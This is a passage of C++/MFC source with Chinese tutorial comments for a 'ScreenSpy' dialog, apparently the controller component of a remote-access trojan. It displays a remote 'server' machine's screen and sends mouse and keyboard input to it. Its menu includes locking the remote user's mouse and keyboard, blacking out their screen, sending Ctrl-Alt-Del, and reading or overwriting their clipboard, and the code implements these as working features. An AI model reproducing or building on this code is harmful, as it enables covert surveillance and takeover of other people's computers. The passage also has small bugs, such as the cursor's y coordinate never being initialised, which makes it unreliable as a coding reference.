|
||||
m_hIcon = ExtractIcon(AfxGetApp()->m_hInstance, szPath, 17/*网上邻居图标索引*/);
|
||||
|
||||
sockaddr_in sockAddr;
|
||||
memset(&sockAddr, 0, sizeof(sockAddr));
|
||||
int nSockAddrLen = sizeof(sockAddr);
|
||||
BOOL bResult = getpeername(m_pContext->m_Socket, (SOCKADDR*)&sockAddr, &nSockAddrLen);
|
||||
|
||||
m_IPAddress = bResult != INVALID_SOCKET ? inet_ntoa(sockAddr.sin_addr) : "";
|
||||
|
||||
//重要的是这里,这里将服务端发送来的bmp结构头和服务端屏幕大小保存起来
|
||||
UINT nBISize = m_pContext->m_DeCompressionBuffer.GetBufferLen() - 1;
|
||||
m_lpbmi = (BITMAPINFO *) new BYTE[nBISize];
|
||||
m_lpbmi_rect = (BITMAPINFO *) new BYTE[nBISize];
|
||||
//这里就是保存bmp位图头了
|
||||
memcpy(m_lpbmi, m_pContext->m_DeCompressionBuffer.GetBuffer(1), nBISize);
|
||||
memcpy(m_lpbmi_rect, m_pContext->m_DeCompressionBuffer.GetBuffer(1), nBISize);
|
||||
|
||||
memset(&m_MMI, 0, sizeof(MINMAXINFO));
|
||||
|
||||
m_bIsCtrl = false; // 默认不控制
|
||||
m_nCount = 0;
|
||||
m_bCursorIndex = 1;
|
||||
}
|
||||
|
||||
CScreenSpyDlg::~CScreenSpyDlg()
|
||||
{
|
||||
}
|
||||
|
||||
void CScreenSpyDlg::DoDataExchange(CDataExchange* pDX)
|
||||
{
|
||||
CDialog::DoDataExchange(pDX);
|
||||
}
|
||||
|
||||
|
||||
BEGIN_MESSAGE_MAP(CScreenSpyDlg, CDialog)
|
||||
ON_WM_CLOSE()
|
||||
ON_WM_GETMINMAXINFO()
|
||||
ON_WM_HSCROLL()
|
||||
ON_WM_PAINT()
|
||||
ON_WM_SYSCOMMAND()
|
||||
END_MESSAGE_MAP()
|
||||
|
||||
|
||||
// CScreenSpyDlg 消息处理程序
|
||||
|
||||
|
||||
void CScreenSpyDlg::OnClose()
|
||||
{
|
||||
// TODO: 在此添加消息处理程序代码和/或调用默认值
|
||||
m_pContext->m_Dialog[0] = 0;
|
||||
|
||||
closesocket(m_pContext->m_Socket);
|
||||
|
||||
::ReleaseDC(m_hWnd, m_hDC);
|
||||
DeleteObject(m_hFullBitmap);
|
||||
|
||||
//关闭会进来两次,为了避免崩溃判断一下
|
||||
if (m_lpbmi)
|
||||
delete m_lpbmi;
|
||||
m_lpbmi = NULL;
|
||||
if (m_lpbmi_rect)
|
||||
delete m_lpbmi_rect;
|
||||
m_lpbmi_rect = NULL;
|
||||
SetClassLong(m_hWnd, GCL_HCURSOR, (LONG)LoadCursor(NULL, IDC_ARROW));
|
||||
|
||||
m_bIsCtrl = false;
|
||||
CDialog::OnClose();
|
||||
}
|
||||
|
||||
|
||||
BOOL CScreenSpyDlg::OnInitDialog()
|
||||
{
|
||||
CDialog::OnInitDialog();
|
||||
|
||||
// TODO: 在此添加额外的初始化
|
||||
//初始化菜单
|
||||
SetClassLong(m_hWnd, GCL_HCURSOR, (LONG)LoadCursor(NULL, IDC_NO));
|
||||
CMenu* pSysMenu = GetSystemMenu(FALSE);
|
||||
if (pSysMenu != NULL)
|
||||
{
|
||||
pSysMenu->AppendMenu(MF_SEPARATOR);
|
||||
pSysMenu->AppendMenu(MF_STRING, IDM_CONTROL, "控制屏幕(&Y)");
|
||||
pSysMenu->AppendMenu(MF_STRING, IDM_SEND_CTRL_ALT_DEL, "发送Ctrl-Alt-Del(&K)");
|
||||
pSysMenu->AppendMenu(MF_STRING, IDM_TRACE_CURSOR, "跟踪服务端鼠标(&T)");
|
||||
pSysMenu->AppendMenu(MF_STRING, IDM_BLOCK_INPUT, "锁定服务端鼠标和键盘(&L)");
|
||||
pSysMenu->AppendMenu(MF_STRING, IDM_BLANK_SCREEN, "服务端黑屏(&B)");
|
||||
pSysMenu->AppendMenu(MF_STRING, IDM_CAPTURE_LAYER, "捕捉层(导致鼠标闪烁)(&L)");
|
||||
pSysMenu->AppendMenu(MF_STRING, IDM_SAVEDIB, "保存快照(&S)");
|
||||
pSysMenu->AppendMenu(MF_SEPARATOR);
|
||||
pSysMenu->AppendMenu(MF_STRING, IDM_GET_CLIPBOARD, "获取剪贴板(&R)");
|
||||
pSysMenu->AppendMenu(MF_STRING, IDM_SET_CLIPBOARD, "设置剪贴板(&L)");
|
||||
pSysMenu->AppendMenu(MF_SEPARATOR);
|
||||
pSysMenu->AppendMenu(MF_STRING, IDM_ALGORITHM_SCAN, "隔行扫描算法(&S)");
|
||||
pSysMenu->AppendMenu(MF_STRING, IDM_ALGORITHM_DIFF, "差异比较算法(&X)");
|
||||
pSysMenu->AppendMenu(MF_SEPARATOR);
|
||||
pSysMenu->AppendMenu(MF_STRING, IDM_DEEP_1, "1 位黑白(&A)");
|
||||
pSysMenu->AppendMenu(MF_STRING, IDM_DEEP_4_GRAY, "4 位灰度(&B)");
|
||||
pSysMenu->AppendMenu(MF_STRING, IDM_DEEP_4_COLOR, "4 位彩色(&C)");
|
||||
pSysMenu->AppendMenu(MF_STRING, IDM_DEEP_8_GRAY, "8 位灰度(&D)");
|
||||
pSysMenu->AppendMenu(MF_STRING, IDM_DEEP_8_COLOR, "8 位彩色(&E)");
|
||||
pSysMenu->AppendMenu(MF_STRING, IDM_DEEP_16, "16位高彩(&F)");
|
||||
pSysMenu->AppendMenu(MF_STRING, IDM_DEEP_32, "32位真彩(&G)");
|
||||
|
||||
pSysMenu->CheckMenuRadioItem(IDM_ALGORITHM_SCAN, IDM_ALGORITHM_DIFF, IDM_ALGORITHM_SCAN, MF_BYCOMMAND);
|
||||
pSysMenu->CheckMenuRadioItem(IDM_DEEP_4_GRAY, IDM_DEEP_32, IDM_DEEP_8_COLOR, MF_BYCOMMAND);
|
||||
}
|
||||
|
||||
// TODO: Add extra initialization here
|
||||
CString str;
|
||||
str.Format("\\\\%s %d * %d", m_IPAddress, m_lpbmi->bmiHeader.biWidth, m_lpbmi->bmiHeader.biHeight);
|
||||
SetWindowText(str);
|
||||
|
||||
m_HScrollPos = 0;
|
||||
m_VScrollPos = 0;
|
||||
m_hRemoteCursor = LoadCursor(NULL, IDC_ARROW);
|
||||
|
||||
ICONINFO CursorInfo;
|
||||
::GetIconInfo(m_hRemoteCursor, &CursorInfo);
|
||||
if (CursorInfo.hbmMask != NULL)
|
||||
::DeleteObject(CursorInfo.hbmMask);
|
||||
if (CursorInfo.hbmColor != NULL)
|
||||
::DeleteObject(CursorInfo.hbmColor);
|
||||
m_dwCursor_xHotspot = CursorInfo.xHotspot;
|
||||
m_dwCursor_yHotspot = CursorInfo.yHotspot;
|
||||
|
||||
m_RemoteCursorPos.x = 0;
|
||||
m_RemoteCursorPos.x = 0;
|
||||
m_bIsTraceCursor = false;
|
||||
|
||||
// 初始化窗口大小结构 位图的图像数据
|
||||
//是我们分配好的缓冲区也就是说我们可以更改这个缓冲区里的数据来改变位图图像
|
||||
m_hDC = ::GetDC(m_hWnd);
|
||||
m_hMemDC = CreateCompatibleDC(m_hDC);
|
||||
m_hFullBitmap = CreateDIBSection(m_hDC, m_lpbmi, DIB_RGB_COLORS, &m_lpScreenDIB, NULL, NULL);
|
||||
SelectObject(m_hMemDC, m_hFullBitmap);
|
||||
SetScrollRange(SB_HORZ, 0, m_lpbmi->bmiHeader.biWidth);
|
||||
SetScrollRange(SB_VERT, 0, m_lpbmi->bmiHeader.biHeight);
|
||||
|
||||
InitMMI();
|
||||
SendNext();
|
||||
return TRUE; // return TRUE unless you set the focus to a control
|
||||
// 异常: OCX 属性页应返回 FALSE
|
||||
}
|
||||
|
||||
|
||||
void CScreenSpyDlg::InitMMI(void)
|
||||
{
|
||||
RECT rectClient, rectWindow;
|
||||
GetWindowRect(&rectWindow);
|
||||
GetClientRect(&rectClient);
|
||||
ClientToScreen(&rectClient);
|
||||
|
||||
int nBorderWidth = rectClient.left - rectWindow.left; // 边框宽
|
||||
int nTitleWidth = rectClient.top - rectWindow.top; // 标题栏的高度
|
||||
|
||||
int nWidthAdd = nBorderWidth * 2 + GetSystemMetrics(SM_CYHSCROLL);
|
||||
int nHeightAdd = nTitleWidth + nBorderWidth + GetSystemMetrics(SM_CYVSCROLL);
|
||||
int nMinWidth = 400 + nWidthAdd;
|
||||
int nMinHeight = 300 + nHeightAdd;
|
||||
int nMaxWidth = m_lpbmi->bmiHeader.biWidth + nWidthAdd;
|
||||
int nMaxHeight = m_lpbmi->bmiHeader.biHeight + nHeightAdd;
|
||||
|
||||
|
||||
// 最小的Track尺寸
|
||||
m_MMI.ptMinTrackSize.x = nMinWidth;
|
||||
m_MMI.ptMinTrackSize.y = nMinHeight;
|
||||
|
||||
// 最大化时窗口的位置
|
||||
m_MMI.ptMaxPosition.x = 1;
|
||||
m_MMI.ptMaxPosition.y = 1;
|
||||
|
||||
// 窗口最大尺寸
|
||||
m_MMI.ptMaxSize.x = nMaxWidth;
|
||||
m_MMI.ptMaxSize.y = nMaxHeight;
|
||||
|
||||
// 最大的Track尺寸也要改变
|
||||
m_MMI.ptMaxTrackSize.x = nMaxWidth;
|
||||
m_MMI.ptMaxTrackSize.y = nMaxHeight;
|
||||
}
|
||||
|
||||
|
||||
void CScreenSpyDlg::SendNext(void)
|
||||
{
|
||||
BYTE bBuff = COMMAND_NEXT;
|
||||
m_iocpServer->Send(m_pContext, &bBuff, 1);
|
||||
}
|
||||
|
||||
//调整最大化最小化时会调用这个函数
|
||||
void CScreenSpyDlg::OnGetMinMaxInfo(MINMAXINFO* lpMMI)
|
||||
{
|
||||
// TODO: 在此添加消息处理程序代码和/或调用默认值
|
||||
// 如果m_MMI已经被赋值
|
||||
if (m_MMI.ptMaxSize.x > 0)
|
||||
memcpy((void *)lpMMI, &m_MMI, sizeof(MINMAXINFO));
|
||||
CDialog::OnGetMinMaxInfo(lpMMI);
|
||||
}
|
||||
|
||||
|
||||
void CScreenSpyDlg::OnHScroll(UINT nSBCode, UINT nPos, CScrollBar* pScrollBar)
|
||||
{
|
||||
// TODO: 在此添加消息处理程序代码和/或调用默认值
|
||||
SCROLLINFO si;
|
||||
int i;
|
||||
si.cbSize = sizeof(SCROLLINFO);
|
||||
si.fMask = SIF_ALL;
|
||||
GetScrollInfo(SB_HORZ, &si);
|
||||
|
||||
switch (nSBCode)
|
||||
{
|
||||
case SB_LINEUP:
|
||||
i = nPos - 1;
|
||||
break;
|
||||
case SB_LINEDOWN:
|
||||
i = nPos + 1;
|
||||
break;
|
||||
case SB_THUMBPOSITION:
|
||||
case SB_THUMBTRACK:
|
||||
i = si.nTrackPos;
|
||||
break;
|
||||
default:
|
||||
return;
|
||||
}
|
||||
|
||||
i = max(i, si.nMin);
|
||||
i = min(i, (int)(si.nMax - si.nPage + 1));
|
||||
|
||||
RECT rect;
|
||||
GetClientRect(&rect);
|
||||
|
||||
if ((rect.right + i) > m_lpbmi->bmiHeader.biWidth)
|
||||
i = m_lpbmi->bmiHeader.biWidth - rect.right;
|
||||
|
||||
InterlockedExchange((PLONG)&m_HScrollPos, i);
|
||||
|
||||
SetScrollPos(SB_HORZ, m_HScrollPos);
|
||||
|
||||
PostMessage(WM_PAINT);
|
||||
CDialog::OnHScroll(nSBCode, nPos, pScrollBar);
|
||||
}
|
||||
|
||||
|
||||
void CScreenSpyDlg::OnPaint()
|
||||
{
|
||||
CPaintDC dc(this); // device context for painting
|
||||
// TODO: 在此处添加消息处理程序代码
|
||||
// 不为绘图消息调用 CDialog::OnPaint()
|
||||
|
||||
if (m_bIsFirst)
|
||||
{
|
||||
DrawTipString("Please wait - initial screen loading");
|
||||
return;
|
||||
}
|
||||
//这里同样用我们讲过的api 不过他的作用可不仅仅是用来抓图,他还可以显示图像,
|
||||
//为什么呢? 因为抓图,显示图,都是我们的片面想法,这个api的作用就是复制
|
||||
//设备的缓冲区,将桌面设备缓冲区复制到我们的内存缓冲区,这个就是抓图,
|
||||
//将内存缓冲区复制到设备缓冲区就是显示图了。。。。。。。。
|
||||
BitBlt
|
||||
(
|
||||
m_hDC,
|
||||
0,
|
||||
0,
|
||||
m_lpbmi->bmiHeader.biWidth,
|
||||
m_lpbmi->bmiHeader.biHeight,
|
||||
m_hMemDC,
|
||||
m_HScrollPos,
|
||||
m_VScrollPos,
|
||||
SRCCOPY
|
||||
);
|
||||
|
||||
// (BYTE)-1 = 255;
|
||||
// Draw the cursor
|
||||
//这里画一下鼠标的图像
|
||||
if (m_bIsTraceCursor)
|
||||
DrawIconEx(
|
||||
m_hDC, // handle to device context
|
||||
m_RemoteCursorPos.x - ((int)m_dwCursor_xHotspot) - m_HScrollPos,
|
||||
m_RemoteCursorPos.y - ((int)m_dwCursor_yHotspot) - m_VScrollPos,
|
||||
m_CursorInfo.getCursorHandle(m_bCursorIndex == (BYTE)-1 ? 1 : m_bCursorIndex), // handle to icon to draw
|
||||
0, 0, // width of the icon
|
||||
0, // index of frame in animated cursor
|
||||
NULL, // handle to background brush
|
||||
DI_NORMAL | DI_COMPAT // icon-drawing flags
|
||||
);
|
||||
}
|
||||
|
||||
|
||||
void CScreenSpyDlg::DrawTipString(CString str)
|
||||
{
|
||||
RECT rect;
|
||||
GetClientRect(&rect);
|
||||
COLORREF bgcol = RGB(0x00, 0x00, 0x00);
|
||||
COLORREF oldbgcol = SetBkColor(m_hDC, bgcol);
|
||||
COLORREF oldtxtcol = SetTextColor(m_hDC, RGB(0xff, 0x00, 0x00));
|
||||
ExtTextOut(m_hDC, 0, 0, ETO_OPAQUE, &rect, NULL, 0, NULL);
|
||||
|
||||
DrawText(m_hDC, str, -1, &rect,
|
||||
DT_SINGLELINE | DT_CENTER | DT_VCENTER);
|
||||
|
||||
SetBkColor(m_hDC, oldbgcol);
|
||||
SetTextColor(m_hDC, oldtxtcol);
|
||||
}
|
||||
|
||||
|
||||
void CScreenSpyDlg::OnReceiveComplete(void)
|
||||
{
|
||||
m_nCount++;
|
||||
|
||||
switch (m_pContext->m_DeCompressionBuffer.GetBuffer(0)[0])
|
||||
{
|
||||
case TOKEN_FIRSTSCREEN:
|
||||
DrawFirstScreen(); //这里显示第一帧图像 一会转到函数定义
|
||||
break;
|
||||
case TOKEN_NEXTSCREEN:
|
||||
if (m_pContext->m_DeCompressionBuffer.GetBuffer(0)[1] == ALGORITHM_SCAN)
|
||||
DrawNextScreenRect(); //这里是第二帧之后的数据了---
|
||||
else
|
||||
DrawNextScreenDiff(); //----当然这里有两种算法
|
||||
break; //我们能转到DrawFirstScreen函数定义
|
||||
case TOKEN_BITMAPINFO:
|
||||
ResetScreen();
|
||||
break;
|
||||
case TOKEN_CLIPBOARD_TEXT:
|
||||
UpdateLocalClipboard((char *)m_pContext->m_DeCompressionBuffer.GetBuffer(1), m_pContext->m_DeCompressionBuffer.GetBufferLen() - 1);
|
||||
break;
|
||||
default:
|
||||
// 传输发生异常数据
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
|
||||
void CScreenSpyDlg::DrawFirstScreen(void)
|
||||
{
|
||||
m_bIsFirst = false;
|
||||
//这里也很简单就是得到服务端发来的数据 ,将他拷贝到HBITMAP的缓冲区中,这样一个图像就出现了
|
||||
memcpy(m_lpScreenDIB, m_pContext->m_DeCompressionBuffer.GetBuffer(1), m_lpbmi->bmiHeader.biSizeImage);
|
||||
//我们到OnPaint()函数
|
||||
//OnPaint();
|
||||
PostMessage(WM_PAINT);
|
||||
}
|
||||
|
||||
|
||||
void CScreenSpyDlg::DrawNextScreenDiff(void)
|
||||
{
|
||||
//这个函数也非常复杂 ,他不是直接画到屏幕上,而是更新一下变化部分的屏幕数据然后调用
|
||||
//OnPaint画上去
|
||||
// 根据鼠标是否移动和屏幕是否变化判断是否重绘鼠标,防止鼠标闪烁
|
||||
bool bIsReDraw = false;
|
||||
int nHeadLength = 1 + 1 + sizeof(POINT) + sizeof(BYTE); // 标识 + 算法 + 光标位置 + 光标类型索引
|
||||
LPVOID lpFirstScreen = m_lpScreenDIB;
|
||||
LPVOID lpNextScreen = m_pContext->m_DeCompressionBuffer.GetBuffer(nHeadLength);
|
||||
DWORD dwBytes = m_pContext->m_DeCompressionBuffer.GetBufferLen() - nHeadLength;
|
||||
|
||||
POINT oldPoint;
|
||||
memcpy(&oldPoint, &m_RemoteCursorPos, sizeof(POINT));
|
||||
memcpy(&m_RemoteCursorPos, m_pContext->m_DeCompressionBuffer.GetBuffer(2), sizeof(POINT));
|
||||
|
||||
// 鼠标移动了
|
||||
if (memcmp(&oldPoint, &m_RemoteCursorPos, sizeof(POINT)) != 0)
|
||||
bIsReDraw = true;
|
||||
|
||||
// 光标类型发生变化
|
||||
int nOldCursorIndex = m_bCursorIndex;
|
||||
m_bCursorIndex = m_pContext->m_DeCompressionBuffer.GetBuffer(10)[0];
|
||||
if (nOldCursorIndex != m_bCursorIndex)
|
||||
{
|
||||
bIsReDraw = true;
|
||||
if (m_bIsCtrl && !m_bIsTraceCursor)
|
||||
SetClassLong(m_hWnd, GCL_HCURSOR, (LONG)m_CursorInfo.getCursorHandle(m_bCursorIndex == (BYTE)-1 ? 1 : m_bCursorIndex));
|
||||
}
|
||||
|
||||
// 屏幕是否变化
|
||||
if (dwBytes > 0)
|
||||
bIsReDraw = true;
|
||||
|
||||
__asm
|
||||
{
|
||||
mov ebx, [dwBytes]
|
||||
mov esi, [lpNextScreen]
|
||||
jmp CopyEnd
|
||||
CopyNextBlock :
|
||||
mov edi, [lpFirstScreen]
|
||||
lodsd // 把lpNextScreen的第一个双字节,放到eax中,就是DIB中改变区域的偏移
|
||||
add edi, eax // lpFirstScreen偏移eax
|
||||
lodsd // 把lpNextScreen的下一个双字节,放到eax中, 就是改变区域的大小
|
||||
mov ecx, eax
|
||||
sub ebx, 8 // ebx 减去 两个dword
|
||||
sub ebx, ecx // ebx 减去DIB数据的大小
|
||||
rep movsb
|
||||
CopyEnd :
|
||||
cmp ebx, 0 // 是否写入完毕
|
||||
jnz CopyNextBlock
|
||||
}
|
||||
|
||||
if (bIsReDraw) PostMessage(WM_PAINT);
|
||||
}
|
||||
|
||||
|
||||
void CScreenSpyDlg::DrawNextScreenRect(void)
|
||||
{
|
||||
//这个函数也非常复杂他将传送来的数据 得到变化的区域然后画到屏幕上
|
||||
|
||||
// 根据鼠标是否移动和鼠标是否在变化的区域判断是否重绘鼠标,防止鼠标闪烁
|
||||
bool bIsReDraw = false;
|
||||
int nHeadLength = 1 + 1 + sizeof(POINT) + sizeof(BYTE); // 标识 + 算法 + 光标位置 + 光标类型索引
|
||||
LPVOID lpFirstScreen = m_lpScreenDIB;
|
||||
LPVOID lpNextScreen = m_pContext->m_DeCompressionBuffer.GetBuffer(nHeadLength);
|
||||
DWORD dwBytes = m_pContext->m_DeCompressionBuffer.GetBufferLen() - nHeadLength;
|
||||
|
||||
|
||||
// 保存上次鼠标所在的位置
|
||||
RECT rectOldPoint;
|
||||
::SetRect(&rectOldPoint, m_RemoteCursorPos.x, m_RemoteCursorPos.y,
|
||||
m_RemoteCursorPos.x + m_dwCursor_xHotspot, m_RemoteCursorPos.y + m_dwCursor_yHotspot);
|
||||
|
||||
memcpy(&m_RemoteCursorPos, m_pContext->m_DeCompressionBuffer.GetBuffer(2), sizeof(POINT));
|
||||
|
||||
//////////////////////////////////////////////////////////////////////////
|
||||
// 判断鼠标是否移动
|
||||
if ((rectOldPoint.left != m_RemoteCursorPos.x) || (rectOldPoint.top !=
|
||||
m_RemoteCursorPos.y))
|
||||
bIsReDraw = true;
|
||||
|
||||
// 光标类型发生变化
|
||||
int nOldCursorIndex = m_bCursorIndex;
|
||||
m_bCursorIndex = m_pContext->m_DeCompressionBuffer.GetBuffer(10)[0];
|
||||
if (nOldCursorIndex != m_bCursorIndex)
|
||||
{
|
||||
bIsReDraw = true;
|
||||
if (m_bIsCtrl && !m_bIsTraceCursor)
|
||||
SetClassLong(m_hWnd, GCL_HCURSOR, (LONG)m_CursorInfo.getCursorHandle(m_bCursorIndex == (BYTE)-1 ? 1 : m_bCursorIndex));
|
||||
}
|
||||
|
||||
// 判断鼠标所在区域是否发生变化
|
||||
DWORD dwOffset = 0;
|
||||
while (dwOffset < dwBytes && !bIsReDraw)
|
||||
{
|
||||
LPRECT lpRect = (LPRECT)((LPBYTE)lpNextScreen + dwOffset);
|
||||
RECT rectDest;
|
||||
if (IntersectRect(&rectDest, &rectOldPoint, lpRect))
|
||||
bIsReDraw = true;
|
||||
dwOffset += sizeof(RECT) + m_lpbmi_rect->bmiHeader.biSizeImage;
|
||||
}
|
||||
bIsReDraw = bIsReDraw && m_bIsTraceCursor;
|
||||
//////////////////////////////////////////////////////////////////////////
|
||||
|
||||
dwOffset = 0;
|
||||
while (dwOffset < dwBytes)
|
||||
{
|
||||
LPRECT lpRect = (LPRECT)((LPBYTE)lpNextScreen + dwOffset);
|
||||
int nRectWidth = lpRect->right - lpRect->left;
|
||||
int nRectHeight = lpRect->bottom - lpRect->top;
|
||||
|
||||
m_lpbmi_rect->bmiHeader.biWidth = nRectWidth;
|
||||
m_lpbmi_rect->bmiHeader.biHeight = nRectHeight;
|
||||
m_lpbmi_rect->bmiHeader.biSizeImage = (((m_lpbmi_rect->bmiHeader.biWidth * m_lpbmi_rect->bmiHeader.biBitCount + 31) & ~31) >> 3)
|
||||
* m_lpbmi_rect->bmiHeader.biHeight;
|
||||
|
||||
StretchDIBits(m_hMemDC, lpRect->left, lpRect->top, nRectWidth,
|
||||
nRectHeight, 0, 0, nRectWidth, nRectHeight, (LPBYTE)lpNextScreen + dwOffset + sizeof(RECT),
|
||||
m_lpbmi_rect, DIB_RGB_COLORS, SRCCOPY);
|
||||
|
||||
// 不需要重绘鼠标的话,直接重绘变化的部分
|
||||
if (!bIsReDraw)
|
||||
StretchDIBits(m_hDC, lpRect->left - m_HScrollPos, lpRect->top - m_VScrollPos, nRectWidth,
|
||||
nRectHeight, 0, 0, nRectWidth, nRectHeight, (LPBYTE)lpNextScreen + dwOffset + sizeof(RECT),
|
||||
m_lpbmi_rect, DIB_RGB_COLORS, SRCCOPY);
|
||||
|
||||
dwOffset += sizeof(RECT) + m_lpbmi_rect->bmiHeader.biSizeImage;
|
||||
}
|
||||
|
||||
if (bIsReDraw) PostMessage(WM_PAINT);
|
||||
}
|
||||
|
||||
//更改屏幕分辨率
|
||||
void CScreenSpyDlg::ResetScreen(void)
|
||||
{
|
||||
UINT nBISize = m_pContext->m_DeCompressionBuffer.GetBufferLen() - 1;
|
||||
if (m_lpbmi != NULL)
|
||||
{
|
||||
int nOldWidth = m_lpbmi->bmiHeader.biWidth;
|
||||
int nOldHeight = m_lpbmi->bmiHeader.biHeight;
|
||||
|
||||
delete[] m_lpbmi;
|
||||
delete[] m_lpbmi_rect;
|
||||
|
||||
m_lpbmi = (BITMAPINFO *) new BYTE[nBISize];
|
||||
m_lpbmi_rect = (BITMAPINFO *) new BYTE[nBISize];
|
||||
|
||||
memcpy(m_lpbmi, m_pContext->m_DeCompressionBuffer.GetBuffer(1), nBISize);
|
||||
memcpy(m_lpbmi_rect, m_pContext->m_DeCompressionBuffer.GetBuffer(1), nBISize);
|
||||
|
||||
DeleteObject(m_hFullBitmap);
|
||||
m_hFullBitmap = CreateDIBSection(m_hDC, m_lpbmi, DIB_RGB_COLORS, &m_lpScreenDIB, NULL, NULL);
|
||||
SelectObject(m_hMemDC, m_hFullBitmap);
|
||||
|
||||
memset(&m_MMI, 0, sizeof(MINMAXINFO));
|
||||
InitMMI();
|
||||
|
||||
// 分辨率发生改变
|
||||
if (nOldWidth != m_lpbmi->bmiHeader.biWidth || nOldHeight != m_lpbmi->bmiHeader.biHeight)
|
||||
{
|
||||
RECT rectClient, rectWindow;
|
||||
GetWindowRect(&rectWindow);
|
||||
GetClientRect(&rectClient);
|
||||
ClientToScreen(&rectClient);
|
||||
|
||||
// 计算ClientRect与WindowRect的差距(标题栏,滚动条)
|
||||
rectWindow.right = m_lpbmi->bmiHeader.biWidth + rectClient.left + (rectWindow.right - rectClient.right);
|
||||
rectWindow.bottom = m_lpbmi->bmiHeader.biHeight + rectClient.top + (rectWindow.bottom - rectClient.bottom);
|
||||
MoveWindow(&rectWindow);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void CScreenSpyDlg::UpdateLocalClipboard(char *buf, int len)
|
||||
{
|
||||
if (!::OpenClipboard(NULL))
|
||||
return;
|
||||
|
||||
::EmptyClipboard();
|
||||
HGLOBAL hglbCopy = GlobalAlloc(GPTR, len);
|
||||
if (hglbCopy != NULL) {
|
||||
// Lock the handle and copy the text to the buffer.
|
||||
LPTSTR lptstrCopy = (LPTSTR)GlobalLock(hglbCopy);
|
||||
memcpy(lptstrCopy, buf, len);
|
||||
GlobalUnlock(hglbCopy); // Place the handle on the clipboard.
|
||||
SetClipboardData(CF_TEXT, hglbCopy);
|
||||
GlobalFree(hglbCopy);
|
||||
}
|
||||
CloseClipboard();
|
||||
}
|
||||
|
||||
#define MAKEDWORD(h,l) (((unsigned long)h << 16) | l)
|
||||
|
||||
//用来截获消息的。我们可以通过重载它来处理键盘和鼠标消息。
|
||||
BOOL CScreenSpyDlg::PreTranslateMessage(MSG* pMsg)
|
||||
{
|
||||
// TODO: 在此添加专用代码和/或调用基类
|
||||
|
||||
|
||||
CRect rect;
|
||||
GetClientRect(&rect);
|
||||
|
||||
switch (pMsg->message)
|
||||
{
|
||||
case WM_LBUTTONDOWN:
|
||||
case WM_LBUTTONUP:
|
||||
case WM_RBUTTONDOWN:
|
||||
case WM_RBUTTONUP:
|
||||
case WM_MOUSEMOVE:
|
||||
case WM_LBUTTONDBLCLK:
|
||||
case WM_RBUTTONDBLCLK:
|
||||
case WM_MBUTTONDOWN:
|
||||
case WM_MBUTTONUP:
|
||||
case WM_MOUSEWHEEL:
|
||||
{
|
||||
MSG msg;
|
||||
memcpy(&msg, pMsg, sizeof(MSG));
|
||||
msg.lParam = MAKEDWORD(HIWORD(pMsg->lParam) + m_VScrollPos, LOWORD(pMsg->lParam) + m_HScrollPos);
|
||||
msg.pt.x += m_HScrollPos;
|
||||
msg.pt.y += m_VScrollPos;
|
||||
SendCommand(&msg);
|
||||
}
|
||||
break;
|
||||
case WM_KEYDOWN:
|
||||
case WM_KEYUP:
|
||||
case WM_SYSKEYDOWN:
|
||||
case WM_SYSKEYUP:
|
||||
if (pMsg->wParam != VK_LWIN && pMsg->wParam != VK_RWIN)
|
||||
{
|
||||
MSG msg;
|
||||
memcpy(&msg, pMsg, sizeof(MSG));
|
||||
msg.lParam = MAKEDWORD(HIWORD(pMsg->lParam) + m_VScrollPos, LOWORD(pMsg->lParam) + m_HScrollPos);
|
||||
msg.pt.x += m_HScrollPos;
|
||||
msg.pt.y += m_VScrollPos;
|
||||
SendCommand(&msg);
|
||||
}
|
||||
if (pMsg->wParam == VK_RETURN || pMsg->wParam == VK_ESCAPE)
|
||||
return true;
|
||||
break;
|
||||
default:
|
||||
break;
|
||||
}
|
||||
return CDialog::PreTranslateMessage(pMsg);
|
||||
}
|
||||
|
||||
|
||||
void CScreenSpyDlg::SendCommand(MSG* pMsg)
|
||||
{
|
||||
if (!m_bIsCtrl)
|
||||
return;
|
||||
|
||||
LPBYTE lpData = new BYTE[sizeof(MSG) + 1];
|
||||
lpData[0] = COMMAND_SCREEN_CONTROL;
|
||||
memcpy(lpData + 1, pMsg, sizeof(MSG));
|
||||
m_iocpServer->Send(m_pContext, lpData, sizeof(MSG) + 1);
|
||||
|
||||
delete[] lpData;
|
||||
}
|
||||
|
||||
void CScreenSpyDlg::OnSysCommand(UINT nID, LPARAM lParam)
|
||||
{
|
||||
// TODO: 在此添加消息处理程序代码和/或调用默认值
|
||||
CMenu* pSysMenu = GetSystemMenu(FALSE);
|
||||
switch (nID)
|
||||
{
|
||||
case IDM_CONTROL:
|
||||
{
|
||||
m_bIsCtrl = !m_bIsCtrl;
|
||||
pSysMenu->CheckMenuItem(IDM_CONTROL, m_bIsCtrl ? MF_CHECKED : MF_UNCHECKED);
|
||||
|
||||
if (m_bIsCtrl)
|
||||
{
|
||||
if (m_bIsTraceCursor)
|
||||
SetClassLong(m_hWnd, GCL_HCURSOR, (LONG)AfxGetApp()->LoadCursor(IDC_DOT));
|
||||
else
|
||||
SetClassLong(m_hWnd, GCL_HCURSOR, (LONG)m_hRemoteCursor);
|
||||
}
|
||||
else
|
||||
SetClassLong(m_hWnd, GCL_HCURSOR, (LONG)LoadCursor(NULL, IDC_NO));
|
||||
}
|
||||
break;
|
||||
case IDM_SEND_CTRL_ALT_DEL:
|
||||
{
|
||||
BYTE bToken = COMMAND_SCREEN_CTRL_ALT_DEL;
|
||||
m_iocpServer->Send(m_pContext, &bToken, sizeof(bToken));
|
||||
}
|
||||
break;
|
||||
case IDM_TRACE_CURSOR: // 跟踪服务端鼠标
|
||||
{
|
||||
m_bIsTraceCursor = !m_bIsTraceCursor;
|
||||
pSysMenu->CheckMenuItem(IDM_TRACE_CURSOR, m_bIsTraceCursor ? MF_CHECKED : MF_UNCHECKED);
|
||||
if (m_bIsCtrl)
|
||||
{
|
||||
if (!m_bIsTraceCursor)
|
||||
SetClassLong(m_hWnd, GCL_HCURSOR, (LONG)m_hRemoteCursor);
|
||||
else
|
||||
SetClassLong(m_hWnd, GCL_HCURSOR, (LONG)AfxGetApp()->LoadCursor(IDC_DOT));
|
||||
}
|
||||
// 重绘消除或显示鼠标
|
||||
OnPaint();
|
||||
}
|
||||
break;
|
||||
case IDM_BLOCK_INPUT: // 锁定服务端鼠标和键盘
|
||||
{
|
||||
bool bIsChecked = pSysMenu->GetMenuState(IDM_BLOCK_INPUT, MF_BYCOMMAND) & MF_CHECKED;
|
||||
